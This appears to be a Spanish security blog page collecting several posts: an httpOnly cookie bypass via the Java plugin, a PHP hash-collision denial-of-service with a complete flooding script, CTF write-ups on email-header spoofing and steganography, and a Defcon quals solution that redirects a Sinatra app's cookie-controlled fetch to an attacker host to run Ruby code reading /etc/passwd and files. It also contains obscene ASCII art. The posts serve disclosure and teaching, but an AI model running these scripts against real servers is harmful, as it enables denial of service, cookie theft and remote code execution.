Contenido principal

Bypass httpOnly in Firefox 8.0.1 and Java 7ux

Enero 2, 2012

This vulnerability allows an attacker to read cookie values created by httpOnly mechanism using Java plugin for Mozilla browsers (npjp2.dll). Remember that: "The new release of Java is first made available to the developers to ensure no major problems are found before we make it available on the java.com website for end users to download the latest version. If you are interested in trying Java SE 7 it can be downloaded from Oracle.com", so there is no risk when using earlier versions of plugin.

All the credits goes to Mario Heiderich for publishing an image that contains some hints about the vulnerability (http://yfrog.com/gzsmipp).

This is the proof of concept

The code I used was:

var jurl = new Packages.java.net.URL(document.URL);
var c = jurl.openConnection();
var h = c.getHeaderFields();
alert(h);

Archivado en: Hacking, Seguridad | Comentarios (1)

Denegación de servicio a través de tabla hash en PHP

Enero 2, 2012

En el 2003, Scott A. Crosby y Dan S. Wallach publicaron la teoría inicial de denegación de servicio a través de tablas hash en el artículo "Denial of Service via Algorithmic Complexity Attacks", allí explican como las deficiencias en los algoritmos para generar el índice de la tabla hash y la implementación de algoritmos contra colisiones pueden ser aprovechados para provocar una denegación de servicio que utiliza poco ancho de banda.

El 28 de diciembre de 2011, la compañía de consultoría n.runs envió a la lista de Full Disclosure una publicación con más detalle de la vulnerabilidad, mencionando en este caso los productos afectados, entre los que podemos encontrar: PHP, Java, Apache Tomcat, Apache Geronimo, Jetty, Oracle Glassfish, ASP.NET, Python, Plone, CRuby 1.8, JRuby, Rubinius y v8.

A continuación un pequeño resumen de la vulnerabilidad y como puede ser explotada en PHP.

Tablas hash

La tabla hash es una estructura de datos usada para asociar índices con valores. A continuación el ejemplo típico de tabla hash en PHP.

Esta asociación se realiza nativamente en PHP5 mediante un índice numérico obtenido a través de la función DJBX33A cuando el índice es una cadena de texto. Si el índice es numérico entonces el hash es simplemente el índice.

static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength)
{
    register ulong hash = 5381;
    /* variant with the hash unrolled eight times */
    for (; nKeyLength >= 8; nKeyLength -= 8) {
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
        hash = ((hash << 5) + hash) + *arKey++;
    }
    switch (nKeyLength) {
        case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
        case 1: hash = ((hash << 5) + hash) + *arKey++; break;
        case 0: break;
        EMPTY_SWITCH_DEFAULT_CASE()
    }
    return hash;
}

El resultado para la anterior asociación es algo similar a:

Cuando se produce una colisión (Índices diferentes con el mismo valor hash), existen diferentes algoritmos para conservar los valores aún sabiendo que el índice nativo es el mismo.

PHP usa el algoritmo de encadenamiento separado, para cada índice con colisión crea una lista con los valores como es mostrado a continuación. (Imagen generada por Jorge Stolfi)

La colisión está presente para los índices "John Smith" y "Sandra Dee", en el índice nativo 152 se crea una lista con los valores originales de John y Sandra: "521-1234" y "521-9655". Cuando se crean muchas colisiones, el algoritmo debe recorrer todos los elementos en busca del último en la lista.

Ahora veamos la vulnerabilidad desde la programación de PHP. Para cada índice en la tabla hash se tiene una estructura llamada bucket:

typedef struct bucket {
 ulong h; /* Used for numeric indexing */ // hash
 uint nKeyLength; // longitud del índice (En caso de ser cadena de texto)
 void *pData;
 void *pDataPtr;
 struct bucket *pListNext; // siguiente elemento
 struct bucket *pListLast; // último elemento
 struct bucket *pNext; // siguiente elemento cuando hay colisión
 struct bucket *pLast; // último elemento cuando hay colisión
 char arKey[1]; /* Must be last element */
} Bucket;

Al crear un array con valores numéricos, PHP llama internamente la función _zend_hash_index_update_or_next_insert que tiene como principal argumento la tabla hash y el hash h que corresponde al índice numérico.

ZEND_API int _zend_hash_index_update_or_next_insert(HashTable *ht, ulong h, void *pData, uint nDataSize, void **pDest, int flag ZEND_FILE_LINE_DC)

Si el elemento está destinado a inserción, se busca el siguiente elemento libre de la tabla hash

if (flag & HASH_NEXT_INSERT) {
    h = ht->nNextFreeElement;
}

Y acá se encuentra la vulnerabilidad, al hash se le aplica la operación AND con la máscara de la tabla que es definida como ht->nTableMask = ht->nTableSize - 1, y es asignado al índice nativo

    nIndex = h & ht->nTableMask;

El tamaño de la tabla a su vez es definida por la instrucción ht->nTableSize = 1 << i;, la cual permite definir un tamaño razonable en potencias de dos, comenzando desde un tamaño mínimo de 8.

Número de elementos Tamaño real
1 8
2 8
3 8
7 8
15 16
60 64
269 512

Luego de obtener el índice nativo, se retorna el bucket para ese índice. Si el bucket es diferente de nulo entonces es porque se encontró una colisión, lo siguiente que hace el algoritmo es comparar el hash actual con el hash anterior (Recordar que el hash es el índice numérico no nativo, por lo que deben ser diferentes), si son diferentes retorna el próximo bucket que se encuentra en la lista para la colisión nIndex. Cuando las colisiones son muchas, el ciclo es comparado a un ciclo infinito, lo que produce la denegación de servicio.

    p = ht->arBuckets[nIndex];
    while (p != NULL) {
    if ((p->nKeyLength == 0) && (p->h == h)) {
        // comentado para ahorrar espacio
    }
    p = p->pNext;

En PHP 5.3.9 se introdujo una nueva variable de configuración llamada "max_input_vars" que por defecto está en 1000. Es recomendable su actualización.

No siendo más, la famosa prueba de concepto.

Y el código con el que se realizó dicha prueba.

<?php
/**
 * Denial of service using hash table collisions in PHP
 * @author Daniel Correa
 * @url http://www.sinfocol.org/
 */
$payload = '';
$url = 'http://localhost/';
$size = 1024 * 1024 * 8; // 8MB is the default POST size in PHP

$i = 0;
do {
    $payload .= 'h[ ' . ($i * 8192) . ']=0';
} while (strlen($payload) < $size - 1024);

$start = microtime(true);

echo "Sending payload...\n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);

$data = curl_exec($ch);
echo "Elapsed time: " . (microtime(true) - $start);

Archivado en: Hacking, Seguridad | Comentarios (4)

WriteUp EvilBurritos2 - CSAW 2011

Septiembre 27, 2011

A continuación pueden encontrar la solución para el reto EvilBurritos2, propuesto la semana pasada en Cyber Security Awareness Week (CSAW 2011).

Descripción

EvilBurritos2 - 300 Points
We also need you to compromise... I mean, investigate... Evil Burritos, please find the password to their server! http://csawctf.poly.edu:10000/75fc6678064eaa15f1385b031ce6246b/core.burritos

EvilBurritos2

Resolución

Buscando a través de las cadenas de texto en el archivo core.burritos, encontramos el siguiente correo.

* 1 FETCH (UID 6 BODY[] {1071}
MIME-Version: 1.0
Received: by 10.42.241.10 with HTTP; Sun, 28 Aug 2011 18:22:41 -0700 (PDT)
To: shrlchn99@evil-inc.burritos
Date: Sun, 28 Aug 2011 19:22:41 -0600
Message-ID: <CAETwm9ZgPAwARUw34_Jy=LdP3WPTuU68UCQUBeVswu-9OkVUxA@mail.gmail.com>
Subject: Evil Burritos
From: Kim Jung <kmjng6@gmail.com>
Content-Type: multipart/alternative; boundary=20cf30363ae736dd1204ab9abb2f
--20cf30363ae736dd1204ab9abb2f
Content-Type: text/plain; charset=UTF-8
Shirly, I changed the name of the burrito making machine to KILLTHEPLANET.
If you want to change it back fell-free, just log in and type:
change-burrito-machine-name, if you forgot the password let me know.
LONG LIVE THE EVIL BURRITOS!
--20cf30363ae736dd1204ab9abb2f
Content-Type: text/html; charset=UTF-8
Shirly, I changed the name of the burrito making machine to KILLTHEPLANET. If you want to change it back fell-free, just log in and type: change-burrito-machine-name, if you forgot the password let me know.

LONG LIVE THE EVIL BURRITOS!

--20cf30363ae736dd1204ab9abb2f--

En él, Kim Jung le dice a Shirly que se ha cambiado el nombre de la máquina de burrito a KILLTHEPLANET y que si ha olvidado la contraseña puede contactar con Kim Jung.
Emyei (Un miembro de nuestro equipo), envio dos correos a la dirección kmjng6@gmail.com.
Con el primer correo la respuesta de Kim fue "Shirly???", enviando el mensaje "yes", Kim responde inmediatamente con "I don't know what you're talking about.".
Con esto se comprueba la teoría del bot detrás del correo.

El script desarrollado para pasar el reto es el siguiente.

<?php
    $to      = 'kmjng6@gmail.com';
    $subject = 'forgot password';
    $message = 'hello, I forgot my password of the KILLTHEPLANET machine. LONG LIVE THE EVIL BURRITOS!';
    $headers = 'From: shrlchn99@evil-inc.burritos' . "\r\n" .
               'Reply-To: admin [AT] sinfocol [D0T] org' . "\r\n";
    mail($to, $subject, $message, $headers);

Lo importante en el script no es el contenido de la variable $message, sino agregar correctamente los headers, "From" que apunte al correo de evil burritos, y "Reply-to" el correo donde la respuesta es enviada.

La respuesta obtenida fue.
Hi Shirly, saw you message, if you forgot the key it is: fire_burritos_are_really_really_good

Respuesta

fire_burritos_are_really_really_good

Archivado en: Hacking, Retos informáticos | Comentarios (3)

Resolución: Encuentra las 7 diferencias

Agosto 18, 2011

Luego de un tiempo considerable sin publicar algo, por fin me decido y saco tiempo para investigar y elaborar la resolución para el reto de Encuentras las 7 diferencias, en esta resolución podrán encontrar la forma en la que descubrí la palabra escondida, además de mi investigación sobre un método que fue totalmente nuevo para mí y que es el que más me ha dado dificultad aprender hasta el día de hoy, en resumen, el algoritmo oculta información a través del ordenamiento de listas: teniendo una lista de elementos y re ordenándola según un algoritmo, se pueden esconder bits de información. Este método es similar al algoritmo de cifrado One Time Pad, por lo que para recuperar la información oculta en la lista reordenada, debemos primero tener la lista original.

Las imágenes GIF contienen en su formato, un campo denominado tabla global de colores donde son almacenados todos los colores que contiene la imagen (El tamaño máximo para esta lista es de 256 colores). El programa usado en el reto ordena esta lista de colores en su forma 'natural' (R*65536 + G*256 + B) y luego reordenada estos colores para esconder la información. Luego del reordenamiento se modifican los índices que apuntan a los colores para que la imagen permanezca igual.

Este tipo de método tratado sobre imágenes GIF no altera de ninguna forma su apariencia visual, por lo que ataques estadísticos sobre la misma son inútiles.

Resolución reto número 12: Encuentra las 7 diferencias de hackplayers.blogspot.com

En el archivo comprimido pueden encontrar.
:arrow: La resolución oficial en formato PDF.
:arrow: Las imágenes originales del reto.
:arrow: Un script de mi autoría para comparar imágenes y al mismo tiempo realizar ataques visuales.
:arrow: Un análisis manual sobre como el programa reordena la tabla global de colores.

Archivado en: Esteganografía, Programación, Retos informáticos | Comentarios (3)

WriteUp Pwtent Pwnables 300 - Defcon 2011

Junio 6, 2011

Este fin de semana se dio a cabo la preclasificatorias para Defcon 2011, en total fueron 25 problemas del cual solo resolvimos 8. A continuación la descripción, resolución y respuesta para el reto Pwtent Pwnables 300.

Descripción

What is the id number of the official training manual for ddtek?: pwn508.ddtek.biz:52719

Solución

Al ingresar al sitio web encontramos unas imágenes y un video que no son muy útiles, al poner una dirección no existente el servidor nos redireccionaba a una página decente donde nos mostraba el error, observando el código de esta última página encontramos que una carpeta llamada "__sinatra__" almacen las imágenes para errores del servidor como "Not found" o "Interval server error" con su respectivo código: "400.png" y "500.png".

Ingresando caracteres no permitidos para nombres de archivo en las imágenes (http://pwn508.ddtek.biz:52719/__sinatra__/%00400.png) nos dimos cuenta que el servidor web se trataba de WEBrick y que estaba corriendo la aplicación Sinatra para Ruby.

Sinatra for ruby

En los mensajes de error se podía ver claramente el código usado por la aplicación, por lo que luego de varios intentos y de finalmente entregar una cookie corrupta descubrimos la forma en cómo ésta se estaba codificando:

    puts "did not find session"
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
    b.call

A continuación se presentan los cuatro valores en plano para el anterior hash table, el único valor desconocido es el de la variable "url", el cual obtenemos de la Cookie enviada por el servidor.
El script utilizado para esta parte fue el siguiente

<?php

$content = 'BASE64';
$compressed = base64_decode($content);
$plaintext = gzuncompress($compressed); // similar function to Zlib::Inflate.inflate
echo $plaintext;

Valor 1

eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t

                          _//(
                         oo\\\\
                         <_.\\\
                          \__/"
                          //_`.
      ,@;@,              ||/ )]
     ;@;@( \@;@;@;@;@;@,_|/ / |
     /a `@\_|@;@;@;@(_____.'  |
    /    )@:@;@;@;@/@:@;@#|"""|
    `--"'`;@;@;@;@|@;@;@`==\  )
          `;@;\;@;\;@;@`  || |
            || |   \\ ( __||H|
            || |   // / \=="#'=
            // (  // /   |__V_|
            ''"'  '"'___<<____) (sheep fucker)

Valor 2

eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc

                                         _,-%/%|
                                     _,-'    \//%\
                                 _,-'        \%/|%
                               / / )    __,--  /%\
                               \__/_,-'%(%  ;  %)%
                                       %\%,   %\
                                         '--%' (i don't know what is this)

Valor 3 (Interesante)

mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i => eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwMjfQBR/wXC

http://127.0.0.1:52802/

Valor 4

eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ

* g o a t s e x * g o a t s e x * g o a t s e x
g                                               g
o /     \             \            /    \       o
a|       |             \          |      |      a
t|       `.             |         |       :     t
s`        |             |        \|       |     s
e \       | /       /  \\\   --__ \\       :    e
x  \      \/   _--~~          ~--__| \     |    x
*   \      \_-~                    ~-_\    |    *
g    \_     \        _.--------.______\|   |    g
o      \     \______// _ ___ _ (_(__>  \   |    o
a       \   .  C ___)  ______ (_(____>  |  /    a
t       /\ |   C ____)/      \ (_____>  |_/     t
s      / /\|   C_____)       |  (___>   /  \    s
e     |   (   _C_____)\______/  // _/ /     \   e
x     |    \  |__   \\_________// (__/       |  x
*    | \    \____)   `----   --'             |  *
g    |  \_          ___\       /_          _/ | g
o   |              /    |     |  \            | o
a   |             |    /       \  \           | a
t   |          / /    |         |  \           |t
s   |         / /      \__/\___/    |          |s
e  |           /        |    |       |         |e
x  |          |         |    |       |         |x
* g o a t s e x * g o a t s e x * g o a t s e x *
(omg, goatse :|)

El único valor interesante es el tercero, que contiene una dirección local con el puerto 52802. Intentamos conectarnos a dicho puerto pero el firewall o la aplicación no lo permitía, así que lo que hicimos fue modificar el valor de la cookie haciendo que apuntara a nuestra IP y a un puerto específico utilizando el siguiente script para Ruby:

require 'Zlib'
require 'base64'

session = {}

session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"

session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="

session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump('http://1.3.3.7:6047'),9))

session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="

print Base64.encode64(Marshal::dump(session))

Ahora con la cadena apuntando a nuestro servidor podemos modificar la cookie y ver que el servidor se conecta a nuestro servicio usando el protocolo HTTP.
Al responder con cualquier cadena, la aplicación nos retorna un nuevo error, indicando que el contenido tuvo un error en la descompresión

  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp

    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    $stdout.flush

    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))

La respuesta se la debemos entregar comprimida y codificandola con base64

<?php

echo base64_encode(gzcompress("print 'a'"));

A lo que el servidor nos vuelve a sacar un error unas líneas más abajo indicando que el método call no existe en la clase bp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    $stdout.flush

    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
    puts "got proc: #{bp}"
    $stdout.flush

    bp.call

Por lo que Fernando averiguó como crear la clase que al llamar la función call retornara el contenido que deseabamos

<?php

$class = 'class Tits; def self.call;return CODIGO;end; end; bp = Tits'
echo base64_encode(gzcompress($class));

Lo primero que hicimos fue leer el archivo /etc/passwd

//return IO.readlines('/etc/passwd', '').to_s
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
6rJJJ1eF:x:1000:1000::/home/6rJJJ1eF:/bin/sh
pen:x:1001:1001::/home/pen:/bin/sh

Listar el contenido del directorio /home/6rJJJ1eF

//return Dir.entries('/home/6rJJJ1eF').join(' ')
.
..
asshoo
assrck
key
www

Obtener el código de assrck

//return IO.readlines('/home/6rJJJ1eF/assrck', '').to_s
#!/usr/bin/env ruby

# $Rev: 510 $

require 'pp'

require 'base64'
require 'yaml'
require 'zlib'

require 'optparse'

require 'rubygems'
require 'sinatra'
require 'httpclient'

$options = { :port => 52700 }
$options = { :oport => 52800 }

$options[:port] = ARGV[0].to_i if ARGV[0]
$options[:oport] = ARGV[1].to_i if ARGV[1]

$wdir = "./www"

enable :sessions
set :port, $options[:port]
set :bind, "127.0.0.1"
set :static, "true"
set :public, $wdir

puts "i am assrck"

url = "http://127.0.0.1:#{$options[:oport]}/"
get '/' do
  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp

    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    $stdout.flush

    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    $stdout.flush

    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
    puts "got proc: #{bp}"
    $stdout.flush

    bp.call
  else
    puts "did not find session"
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
    b.call
  end
end

Y por último obtener el contenido del archivo key

//return IO.readlines('/home/6rJJJ1eF/key', '').to_s
ISBN-13: 978-1931993494

Ya podemos obtener nuestro paperback y los 300 puntos :D

Archivado en: Criptografía, Hacking, Retos informáticos, Seguridad | Comentarios (7)